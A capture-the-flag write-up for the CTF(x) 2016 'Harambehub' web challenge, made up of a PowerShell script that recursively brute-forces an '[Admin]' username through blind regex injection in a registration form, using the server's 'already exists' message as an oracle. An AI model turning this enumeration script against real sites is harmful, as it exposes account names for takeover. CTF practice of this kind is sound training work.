[CTF(x) 2016 : WEB] Harambehub – 100 pts

RegexInjection.ps1

# Written by: Itay Cohen, Aug 2016

$lowercase = [char[]]([int][char]'a'..[int][char]'z')
$uppercase =  [char[]]([int][char]'A'..[int][char]'Z')
$numbers = 0..9
$chars = $lowercase+$uppercase+$numbers
 
function RegexInjection($regex){
	foreach($c in $chars)
	{
        	$postParams = @{username="$regex$c"+'.*';password='mega'; real_name="beets"}
        	try
        	{
            	$response = Invoke-WebRequest "http://problems.ctfx.io:7003/users" -Method POST -Body $postParams;
            	if($response.content -like "FAILED: User with that name already exists!")
            	{
                	Write-Host "Match found: $regex$c.*"
                	RegexInjection($regex+$c)
            	}
        	}
        	catch {}
	}
}
 
RegexInjection("\[Admin\]")